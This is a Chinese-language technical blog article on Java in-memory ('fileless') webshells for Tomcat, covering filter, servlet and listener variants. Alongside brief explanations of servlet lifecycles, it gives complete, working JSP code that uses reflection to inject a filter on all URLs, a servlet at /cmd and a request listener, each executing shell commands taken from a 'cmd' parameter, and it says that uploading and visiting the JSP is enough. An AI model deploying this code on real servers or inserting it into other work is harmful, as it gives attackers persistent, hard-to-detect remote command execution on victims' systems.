前言

当下的大环境中,想要落地一个实体木马的难度逐渐增大。逐步完善的过滤机制、前后端分离的趋势,使得传统的webshell生存空间越来越小。内存马就是一种无需落地文件就能使用的webshell,它将恶意代码写入内存,拦截固定参数来达到webshell的效果。

Java内存马

java内存马在17年就已有雏形,今年shiro漏洞的利用频发,致使java内存马的研究也愈来愈多。java内存马基于JVM,其中由分出以下类别:

  1. servlet-api类
    • filter型
    • servlet型
    • listener型
  2. spring类
    • 拦截器
    • controller型
  3. Java Instrumentation类
    • agent型

Servlet-api

filter,servlet,listener都是servletApi包下的类,在编写Servlet中经常用到。

  • Servlet:servlet是一种运行服务器端的java应用程序,具有独立于平台和协议的特性,并且可以动态的生成web页面,它工作在客户端请求与服务器响应的中间层。Servlet 的主要功能在于交互式地浏览和修改数据,生成动态 Web 内容。
  • Filter:filter是一个可以复用的代码片段,可以用来转换HTTP请求、响应和头信息。Filter无法产生一个请求或者响应,它只能针对某一资源的请求或者响应进行修改。
  • Listener:通过listener可以监听web服务器中某一个执行动作,并根据其要求作出相应的响应。

在Web服务器的内存中,三者生命周期也不同

  • Servlet :Servlet 的生命周期开始于Web容器的启动时,它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。这里也就是说明,一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。

    • 装入:启动服务器时加载Servlet的实例
    • 初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作有init()方法负责执行完成
    • 调用:从第一次到以后的多次访问,都是只调用doGet()或doPost()方法
    • 销毁:停止服务器时调用destroy()方法,销毁实例
  • Filter:自定义Filter的实现,需要实现javax.servlet.Filter下的init()、doFilter()、destroy()三个方法。

    • 启动服务器时加载过滤器的实例,并调用init()方法来初始化实例;
    • 每一次请求时都只调用方法doFilter()进行处理;
    • 停止服务器时调用destroy()方法,销毁实例。
  • Listener:以ServletRequestListener为例,ServletRequestListener主要用于监听ServletRequest对象的创建和销毁,一个ServletRequest可以注册多个ServletRequestListener接口。

    • 每次请求创建时调用requestInitialized()。
    • 每次请求销毁时调用requestDestroyed()。

调用顺序

从三个类的作用,我们可以分析得启动一个web项目时的流程:

  1. 在启动Web项目时,tomcat会读取web.xml配置文件中的两个节点
  2. 接着容器会创建一个ServletContext,应用范围内即整个WEB项目都能使用这个上下文。
  3. 接着容器会将读取到context-param当中的listener数组,并交给ServletContext。
  4. 容器创建<listener></listener>中的类实例,即创建监听
  5. 配置filters,filter开始起作用
  6. 最后加载和初始化配置在 load on startup 的 servlets
    最终加载顺序为context-param->listeners->filters->servlets

filter型

n1nty师傅在17年写的文章看不见的webshell
基于这篇文章,我们分析给出的jsp代码

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%@ page import="java.io.IOException"%>
<%@ page import="javax.servlet.DispatcherType"%>
<%@ page import="javax.servlet.Filter"%>
<%@ page import="javax.servlet.FilterChain"%>
<%@ page import="javax.servlet.FilterConfig"%>
<%@ page import="javax.servlet.FilterRegistration"%>
<%@ page import="javax.servlet.ServletContext"%>
<%@ page import="javax.servlet.ServletException"%>
<%@ page import="javax.servlet.ServletRequest"%>
<%@ page import="javax.servlet.ServletResponse"%>
<%@ page import="javax.servlet.annotation.WebServlet"%>
<%@ page import="javax.servlet.http.HttpServlet"%>
<%@ page import="javax.servlet.http.HttpServletRequest"%>
<%@ page import="javax.servlet.http.HttpServletResponse"%>
<%@ page import="org.apache.catalina.core.ApplicationContext"%>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig"%>
<%@ page import="org.apache.catalina.core.StandardContext"%>
<%@ page import="org.apache.tomcat.util.descriptor.web.*"%>
<%@ page import="org.apache.catalina.Context"%>
<%@ page import="java.lang.reflect.*"%>
<%@ page import="java.util.EnumSet"%>
<%@ page import="java.util.Map"%>

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
</head>
<body>
<%
final String name = "n1ntyfilter";

ServletContext ctx = request.getSession().getServletContext();
Field f = ctx.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext)f.get(ctx);

f = appCtx.getClass().getDeclaredField("context");
f.setAccessible(true);
StandardContext standardCtx = (StandardContext)f.get(appCtx);

f = standardCtx.getClass().getDeclaredField("filterConfigs");
f.setAccessible(true);
Map filterConfigs = (Map)f.get(standardCtx);

if (filterConfigs.get(name) == null) {
   out.println("inject "+ name);

   Filter filter = new Filter() {
      @Override
      public void init(FilterConfig arg0) throws ServletException {
         // TODO Auto-generated method stub
      }

      @Override
      public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)
            throws IOException, ServletException {
         // TODO Auto-generated method stub
         HttpServletRequest req = (HttpServletRequest)arg0;
         if (req.getParameter("cmd") != null) {
            byte[] data = new byte[1024];
            Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start();
            int len = p.getInputStream().read(data);
            p.destroy();
            arg1.getWriter().write(new String(data, 0, len));
            return;
         } 
         arg2.doFilter(arg0, arg1);
      }

      @Override
      public void destroy() {
         // TODO Auto-generated method stub
      }
   };

   FilterDef filterDef = new FilterDef();
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    filterDef.setFilter(filter);

    standardCtx.addFilterDef(filterDef);

   FilterMap m = new FilterMap();
   m.setFilterName(filterDef.getFilterName());
   m.setDispatcher(DispatcherType.REQUEST.name());
   m.addURLPattern("/*");

   standardCtx.addFilterMapBefore(m);

   Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
   constructor.setAccessible(true);
   FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef);

    filterConfigs.put(name, filterConfig);

    out.println("injected");
}
%>
</body>
</html>

Filter是servlet的一个过滤器,比如说在系统中我们可以用filter来过滤掉没有登陆的用户,确保主页不会被未登录用户访问。
以下代码实现了一个filter接口

import javax.servlet.*;
import java.io.IOException;

public class MyFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

    }

    @Override
    public void destroy() {

    }
}

通过恶意filter,我们实现截获所有带cmd的参数,并执行参数值。

@Override
public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)
throws IOException, ServletException {
    // TODO Auto-generated method stub
    HttpServletRequest req = (HttpServletRequest)arg0;
    if (req.getParameter("cmd") != null) {
    byte[] data = new byte[1024];
    Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start();
    int len = p.getInputStream().read(data);
    p.destroy();
    arg1.getWriter().write(new String(data, 0, len));
    return;
    }
arg2.doFilter(arg0, arg1);
}

写好的恶意filter用filterDef经行封装,添加到filterConfigs,filterDefs,filterMaps中。
在addFilterDef中,通过反射的方式获取context自行添加

Filter filter = new filter(){恶意代码}
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);

filterMaps控制加载的顺序,所以我们不仅要把filterDef加进去,还要放到第一位

FilterMap m = new FilterMap();
m.setFilterName(filterDef.getFilterName());
m.setDispatcher(DispatcherType.REQUEST.name());
m.addURLPattern("/*");
standardContext.addFilterMapBefore(m);
//standardContext.addFilterMapBefore这个方法实现将新创建的filtermap放到第一位

filterConfigs用于获取 Filter 程序在 web.xml 文件中的配置信息的接口,我么通过遍历filterDefs当中filterName ,然后把对应的name添加到 filterConfig当中

filterConfig = new ApplicationFilterConfig(this, (FilterDef)this.filterDefs.get(name));
this.filterConfigs.put(name, filterConfig);

都添加完之后, 调用doFilter ,进入过滤阶段,我们的内存马就产生了。实际情况只需将jsp上传后访问,就成功了。

坑:
tomcat 7 与 tomcat 8 在 FilterDef 和 FilterMap 这两个类所属的包名不一样
tomcat 7:

org.apache.catalina.deploy.FilterDef;
org.apache.catalina.deploy.FilterMap;

tomcat 8:

org.apache.tomcat.util.descriptor.web.FilterDef;
org.apache.tomcat.util.descriptor.web.FilterMap;

servlet型

在tomcat中,直接添加一个servlet,那这个servlet会children中,并用StandardWrapper类封装。
可以理解为,tomcat 的一个 Wrapper 代表一个 Servlet ,而相关对象均在 StandardContext 的children。

先写一个恶意的 servlet ,接口有 init 、getServletConfig、service、getServletInfo、destroy

Servlet servlet = new Servlet() {
    @Override
    public void init(ServletConfig servletConfig) throws ServletException {

    }
    @Override
    public ServletConfig getServletConfig() {
        return null;
    }
    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        String cmd = servletRequest.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")){
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = servletResponse.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }
    @Override
    public String getServletInfo() {
        return null;
    }
    @Override
    public void destroy() {

    }
};

Wrapper 负责管理 Servlet,那是否可以通过wrapper来动态加载servlet?
通过creatWrapper就可以实例一个wrapper对象

org.apache.catalina.Wrapper newWrapper = stdcontext.createWrapper();
newWrapper.setName(n);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());

之后将实例化的wrapper添加到children中,通过addChild方法

public void addChild(Container child) {
Wrapper oldJspServlet = null;
if (!(child instanceof Wrapper)) {
throw new IllegalArgumentException(sm.getString("standardContext.notWrapper"));
} else {
boolean isJspServlet = "jsp".equals(child.getName());
if (isJspServlet) {
oldJspServlet = (Wrapper)this.findChild("jsp");
if (oldJspServlet != null) {
this.removeChild(oldJspServlet);
}
}
super.addChild(child);
if (isJspServlet && oldJspServlet != null) {
}
}

最好将wrapper对象和我们访问的shell地址绑定

stdcontext.addChild(newWrapper);
stdcontext.addServletMapping("/cmd",n);

这种方法tomcat7和8是通用的,实际中Godzilla的内存马就是servlet型。

listener型

回忆一下之前说过的加载顺序context-param->listeners->filters->servlets
listener也可以实现内存马,且在三者中优先级最高
java中listener分为三类:

  • ServletContext监听
  • Session监听
  • Request监听
    分别对应服务器的启动跟停止,Session的建立跟销毁和请求的连接与发送
    我们要做持续加载,合适的只有第三个,通过getServletRequest()函数我们能拿到每次请求的request对象并加入命令语句。

在ApplicationContext中有addListener方法来添加listener
跟进org.apache.catalina.core.ApplicationContext#addListener(java.lang.String),发现调用了同类中的重载方法org.apache.catalina.core.ApplicationContext#addListener(T)
该方法会判断、tomcat的生命周期是否正常。实际上最核心的代码是调用了 this.context.addApplicationEventListener(t),所以我们只需要反射调用addApplicationEventListener既可达到我们的目的。

public <T extends EventListener> void addListener(T t) {
        if (!this.context.getState().equals(LifecycleState.STARTING_PREP)) {
            throw new IllegalStateException(sm.getString("applicationContext.addListener.ise", new Object[]{this.getContextPath()}));
        } else {
            boolean match = false;
            if (t instanceof ServletContextAttributeListener || t instanceof ServletRequestListener || t instanceof ServletRequestAttributeListener || t instanceof HttpSessionIdListener || t instanceof HttpSessionAttributeListener) {
                this.context.addApplicationEventListener(t);
                match = true;
            }

            if (t instanceof HttpSessionListener || t instanceof ServletContextListener && this.newServletContextListenerAllowed) {
                this.context.addApplicationLifecycleListener(t);
                match = true;
            }

            if (!match) {
                if (t instanceof ServletContextListener) {
                    throw new IllegalArgumentException(sm.getString("applicationContext.addListener.iae.sclNotAllowed", new Object[]{t.getClass().getName()}));
                } else {
                    throw new IllegalArgumentException(sm.getString("applicationContext.addListener.iae.wrongType", new Object[]{t.getClass().getName()}));
                }
            }
        }
    }

注入代码并访问页面,即可实现linstener型的内存马
完整jsp:

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%
    Object obj = request.getServletContext();
    java.lang.reflect.Field field = obj.getClass().getDeclaredField("context");
    field.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) field.get(obj);
    //获取ApplicationContext
    field = applicationContext.getClass().getDeclaredField("context");
    field.setAccessible(true);
    StandardContext standardContext = (StandardContext) field.get(applicationContext);
    //获取StandardContext
    ListenerDemo listenerdemo = new ListenerDemo();
    //创建能够执行命令的Listener
    standardContext.addApplicationEventListener(listenerdemo);
%>
<%!
    public class ListenerDemo implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {
            System.out.println("requestDestroyed");
        }
        public void requestInitialized(ServletRequestEvent sre) {
            System.out.println("requestInitialized");
            try{
                String cmd = sre.getServletRequest().getParameter("cmd");
                Runtime.getRuntime().exec(cmd);
            }catch (Exception e ){
                //e.printStackTrace();
            }
        }
    }
%>

参考文章
webshell内存马检测
jsp WebShell那些事
看不见的webshell
基于tomcat的无文件webshell研究


"孓然一身 , 了无牵挂"